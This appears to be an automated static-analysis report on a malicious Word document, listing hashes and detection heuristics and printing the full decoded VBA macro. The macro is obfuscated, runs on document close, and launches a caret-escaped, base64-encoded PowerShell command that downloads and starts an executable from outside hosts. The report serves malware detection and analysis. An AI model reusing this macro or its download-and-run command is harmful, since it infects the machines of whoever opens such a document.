Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd9054151bad753f…

MALICIOUS

Office (OLE)

88.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 2f7aa1e921b9db69793389c136ce3734 SHA-1: 60516cc2e2b06c1fa657ff0333a8eda4f8b69b11 SHA-256: dd9054151bad753fddd25fba92085b4244d0aeb33efefb121ae3ed31394c3184
290 Risk Score

Heuristics 9

  • ClamAV: Doc.Malware.00536d-6723914-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6723914-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Call IsError(VBA.Interaction.Shell(Trim(Join(Array(CUKysukysoFAjoWIvAxUioajAVAdamAMyJeiyw, KATECamosuqiquJUtEFYlAvogURIFUSUhYfuDLyjeNYT, XymIqUpypasOmAYZSODYbUsIJINOToTyGEc, wYqyGYfORUjijYtaqADaTEaOpeBAiUbABAV), "")), (25 - (100 / (2 * 2)))))
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    CUKysukysoFAjoWIvAxUioajAVAdamAMyJeiyw = "cmd.exe /c P^" + Format(ChrW((35 * 2) + (10 - 1))) + "^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Const QunaYNIsjiBYPukveSerUdurYnANUVi = 0
Sub AutoClose()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9235 bytes
SHA-256: f0c65f77c7102e1dd83df92df50e10c2cce23b55192a821682d681119b7b0ab4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const QunaYNIsjiBYPukveSerUdurYnANUVi = 0
Sub AutoClose()
On Error Resume Next
Dim rypAQaSOwOZeJOvyrPiwuKUvAfeHETycuzYReMUHIRiXi

rypAQaSOwOZeJOvyrPiwuKUvAfeHETycuzYReMUHIRiXi = IsError(Choose(3, "fedALAhahuVyN", "fedALAhahuVyN", "rypAQaSOwOZeJOvyrPiwuKUvAfeHETycuzYReMUHIRiXi"))
IsError CVErr(40)

If IsNull(rypAQaSOwOZeJOvyrPiwuKUvAfeHETycuzYReMUHIRiXi_fedALAhahuVyN) And IsError(CVErr(3)) Then
   fedALAhahuVyN_rypAQaSOwOZeJOvyrPiwuKUvAfeHETycuzYReMUHIRiXi = CStr("-40") + UCase("fedALAhahuVyN")
End If


CUKysukysoFAjoWIvAxUioajAVAdamAMyJeiyw = "cmd.exe /c P^" + Format(ChrW((35 * 2) + (10 - 1))) + "^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^c^A^A^6^A^C^8^A^L^w^B^0^A^G^E^A^c^A^B^y^A^G^U^A^d^A^B^y^A^G^k^A^Y^Q^B^0^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"

KATECamosuqiquJUtEFYlAvogURIFUSUhYfuDLyjeNYT = "^A^P^w^B^s^A^D^0^A^Z^w^B^v^A^G^s^A^c^w^A^0^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^G^Y^A^N^Q^B^j^A^D^Y^A^N^Q^A^x^A^D^U^A^Z^g^A^u^A^G^U^A^e^A^B^l^A^C^c^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^c^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^c^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^c^A^X^A^B^m^A^D^U^A^Y^w^A^2^A^D^U^A^M^Q^A^1^A^G^Y^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"
Dim JeDEXYdeHaGdIsaboijYnAWada

JeDEXYdeHaGdIsaboijYnAWada = IsError(Choose(2, "gUFYCAVoHoPUZoGAD", "gUFYCAVoHoPUZoGAD", "JeDEXYdeHaGdIsaboijYnAWada"))
IsError CVErr(708)

If IsNull(JeDEXYdeHaGdIsaboijYnAWada_gUFYCAVoHoPUZoGAD) And IsError(CVErr(2)) Then
   gUFYCAVoHoPUZoGAD_JeDEXYdeHaGdIsaboijYnAWada = CStr("-708") + UCase("gUFYCAVoHoPUZoGAD")
End If


Dim MEaitypawdOWSUgetuJaMYXuwybunUjO

MEaitypawdOWSUgetuJaMYXuwybunUjO = IsError(Choose(7, "jiJYWUbUVuDoPAho", "jiJYWUbUVuDoPAho", "MEaitypawdOWSUgetuJaMYXuwybunUjO"))
IsError CVErr(14)

If IsNull(MEaitypawdOWSUgetuJaMYXuwybunUjO_jiJYWUbUVuDoPAho) And IsError(CVErr(7)) Then
   jiJYWUbUVuDoPAho_MEaitypawdOWSUgetuJaMYXuwybunUjO = CStr("-14") + UCase("jiJYWUbUVuDoPAho")
End If



Dim setyfifoKArmozuxATItqoWyWOkiTENem

setyfifoKArmozuxATItqoWyWOkiTENem = IsError(Choose(10, "OSArimeREFOrAsYrYqo", "OSArimeREFOrAsYrYqo", "setyfifoKArmozuxATItqoWyWOkiTENem"))
IsError CVErr(7655)

If IsNull(setyfifoKArmozuxATItqoWyWOkiTENem_OSArimeREFOrAsYrYqo) And IsError(CVErr(10)) Then
   OSArimeREFOrAsYrYqo_setyfifoKArmozuxATItqoWyWOkiTENem = CStr("-7655") + UCase("OSArimeREFOrAsYrYqo")
End If



XymIqUpypasOmAYZSODYbUsIJINOToTyGEc = "^k^A^R^Q^B^Y^A^C^g^A^K^A^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^U^w^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^I^A^a^Q^B^u^A^G^c^A^K^A^A^i^A^G^g^A^d^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^g^A^v^A^C^8^A^N^Q^A^0^A^C^4^A^M^w^A^5^A^C^4^A^N^w^A^0^A^C^4^A^M^Q^A^y^A^D^Q^A^L^w^B^s^A^G^U^A^d^g^B^v^A^G^4^A^Z^A^A^u^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^a^A^B^w^A^C^I^A^K^Q^A^p^A^D^s^A^I^A^B^F^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^a^Q^B^0^A"


wYqyGYfORUjijYtaqADaTEaOpeBAiUbABAV = "^A^=^="
Dim MoxEViHoBiMOlyJULOtOQiVAmaQokOtoclArIiiUQ

MoxEViHoBiMOlyJULOtOQiVAmaQokOtoclArIiiUQ = IsError(Choose(3, "qEgijiVIiAkuwAvuvUJYhE", "qEgijiVIiAkuwAvuvUJYhE", "MoxEViHoBiMOlyJULOtOQiVAmaQokOtoclArIiiUQ"))
IsError CVErr(3631)

If IsNull(MoxEViHoBiMOlyJULOtOQiVAmaQokOtoclArIiiUQ_qEgijiVIiAkuwAvuvUJYhE) And IsError(CVErr(3)) Then
   qEgijiVIiAkuwAvuvUJYhE_MoxEViHoBiMOlyJULOtOQiVAmaQokOtoclArIiiUQ = CStr("-3631") + UCase("qEgijiVIiAkuwAvuvUJYhE")
End If



Dim ZGRunuVEZUJyKIhyMuNAmOVYpvaiB

ZGRunuVEZUJyKIhyMuNAmOVYpvaiB = IsError(Choose(5, "DezKImiwOSELYQu", "DezKImiwOSELYQu", "ZGRunuVEZUJyKIhyMuNAmOVYpvaiB"))
IsError CVErr(9156)

If IsNull(ZGRunuVEZUJyKIhyMuNAmOVYpvaiB_DezKImiwOSELYQu) And IsError(CVErr(5)) Then
   DezKImiwOSELYQu_ZGRunuVEZUJyKIhyMuNAmOVYpvaiB = CStr("-9156") + UCase("DezKImiwOSELYQu")
End If


Dim mIJoByhimefOcAroFamunOcKukuNEJyHuruMiKE

mIJoByhimefOcAroFamunOcKukuNEJyHuruMiKE = IsError(Choose(6, "jamExUxYKado", "jamExUxYKado", "mIJoByhimefOcAroFamunOcKukuNEJyHuruMiKE"))
IsError CVErr(9034)

If IsNull(mIJoByhimefOcAroFamunOcKukuNEJyHuruMiKE_jamExUxYKado) And IsError(CVErr(6)) Then
   jamExUxYKado_mIJoByhimefOcAroFamunOcKukuNEJyHuruMiKE = CStr("-9034") + UCase("jamExUxYKado")
End If



Dim MaaykEviriKObOiIVEpagAamypuxAfuNurXIXu

MaaykEviriKObOiIVEpagAamypuxAfuNurXIXu = IsError(Choose(9, "qaBiLSIPahoVyd", "qaBiLSIPahoVyd", "MaaykEviriKObOiIVEpagAamypuxAfuNurXIXu"))
IsError CVErr(9219)

If IsNull(MaaykEviriKObOiIVEpagAamypuxAfuNurXIXu_qaBiLSIPahoVyd) And IsError(CVErr(9)) Then
   qaBiLSIPahoVyd_MaaykEviriKObOiIVEpagAamypuxAfuNurXIXu = CStr("-9219") + UCase("qaBiLSIPahoVyd")
End If


Call iOFiQqIzuduhujYdRurYHAQozESygeROfHOs(CUKysukysoFAjoWIvAxUioajAVAdamAMyJeiyw & "", KATECamosuqiquJUtEFYlAvogURIFUSUhYfuDLyjeNYT + CStr(""), XymIqUpypasOmAYZSODYbUsIJINOToTyGEc, "4756874682", wYqyGYfORUjijYtaqADaTEaOpeBAiUbABAV)
Dim tUGEPIlIxuLeQOJEQmaJyNmueXekOqU

tUGEPIlIxuLeQOJEQmaJyNmueXekOqU = IsError(Choose(10, "MUCERYQFoPYMONnO", "MUCERYQFoPYMONnO", "tUGEPIlIxuLeQOJEQmaJyNmueXekOqU"))
IsError CVErr(6205)

If IsNull(tUGEPIlIxuLeQOJEQmaJyNmueXekOqU_MUCERYQFoPYMONnO) And IsError(CVErr(10)) Then
   MUCERYQFoPYMONnO_tUGEPIlIxuLeQOJEQmaJyNmueXekOqU = CStr("-6205") + UCase("MUCERYQFoPYMONnO")
End If


Dim TUsQOVaMidvoiekuSyGeregoSIG

TUsQOVaMidvoiekuSyGeregoSIG = IsError(Choose(7, "qoViyMIaAHIK", "qoViyMIaAHIK", "TUsQOVaMidvoiekuSyGeregoSIG"))
IsError CVErr(6046)

If IsNull(TUsQOVaMidvoiekuSyGeregoSIG_qoViyMIaAHIK) And IsError(CVErr(7)) Then
   qoViyMIaAHIK_TUsQOVaMidvoiekuSyGeregoSIG = CStr("-6046") + UCase("qoViyMIaAHIK")
End If



Dim CuNAzEsyleJIaASygOAsetIaotATivIqADil

CuNAzEsyleJIaASygOAsetIaotATivIqADil = IsError(Choose(6, "lAXizOleDYaimiBAsw", "lAXizOleDYaimiBAsw", "CuNAzEsyleJIaASygOAsetIaotATivIqADil"))
IsError CVErr(7275)

If IsNull(CuNAzEsyleJIaASygOAsetIaotATivIqADil_lAXizOleDYaimiBAsw) And IsError(CVErr(6)) Then
   lAXizOleDYaimiBAsw_CuNAzEsyleJIaASygOAsetIaotATivIqADil = CStr("-7275") + UCase("lAXizOleDYaimiBAsw")
End If


End Sub
Sub iOFiQqIzuduhujYdRurYHAQozESygeROfHOs(CUKysukysoFAjoWIvAxUioajAVAdamAMyJeiyw, KATECamosuqiquJUtEFYlAvogURIFUSUhYfuDLyjeNYT, XymIqUpypasOmAYZSODYbUsIJINOToTyGEc, gAxytEGpACoQycuiEjoNwoiabyjUbEOHUbUpIzEmEQu, wYqyGYfORUjijYtaqADaTEaOpeBAiUbABAV)
On Error Resume Next
Dim zOxeGutehebEZUxucvAvaPigOWALEWOQeqs

zOxeGutehebEZUxucvAvaPigOWALEWOQeqs = IsError(Choose(3, "SoXYCOKitohe", "SoXYCOKitohe", "zOxeGutehebEZUxucvAvaPigOWALEWOQeqs"))
IsError CVErr(2194)

If IsNull(zOxeGutehebEZUxucvAvaPigOWALEWOQeqs_SoXYCOKitohe) And IsError(CVErr(3)) Then
   SoXYCOKitohe_zOxeGutehebEZUxucvAvaPigOWALEWOQeqs = CStr("-2194") + UCase("SoXYCOKitohe")
End If



  
  Call IsError(VBA.Interaction.Shell(Trim(Join(Array(CUKysukysoFAjoWIvAxUioajAVAdamAMyJeiyw, KATECamosuqiquJUtEFYlAvogURIFUSUhYfuDLyjeNYT, XymIqUpypasOmAYZSODYbUsIJINOToTyGEc, wYqyGYfORUjijYtaqADaTEaOpeBAiUbABAV), "")), (25 - (100 / (2 * 2)))))


Dim fYTUverUhOkEqAVEiyZyKvaSagYfemAFyIvaq

fYTUverUhOkEqAVEiyZyKvaSagYfemAFyIvaq = IsError(Choose(4, "gyCeKuBkosOhYhUpia", "gyCeKuBkosOhYhUpia", "fYTUverUhOkEqAVEiyZyKvaSagYfemAFyIvaq"))
IsError CVErr(5981)

If IsNull(fYTUverUhOkEqAVEiyZyKvaSagYfemAFyIvaq_gyCeKuBkosOhYhUpia) And IsError(CVErr(4)) Then
   gyCeKuBkosOhYhUpia_fYTUverUhOkEqAVEiyZyKvaSagYfemAFyIvaq = CStr("-5981") + UCase("gyCeKuBkosOhYhUpia")
End If


Dim iuFeifucaHoaIaoqsiFurOrKYVEROWiGyWy

iuFeifucaHoaIaoqsiFurOrKYVEROWiGyWy = IsError(Choose(4, "WOMOlifyqUVeMibOCEKYpeza", "WOMOlifyqUVeMibOCEKYpeza", "iuFeifucaHoaIaoqsiFurOrKYVEROWiGyWy"))
IsError CVErr(7969)

If IsNull(iuFeifucaHoaIaoqsiFurOrKYVEROWiGyWy_WOMOlifyqUVeMibOCEKYpeza) And IsError(CVErr(4)) Then
   WOMOlifyqUVeMibOCEKYpeza_iuFeifucaHoaIaoqsiFurOrKYVEROWiGyWy = CStr("-7969") + UCase("WOMOlifyqUVeMibOCEKYpeza")
End If



End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.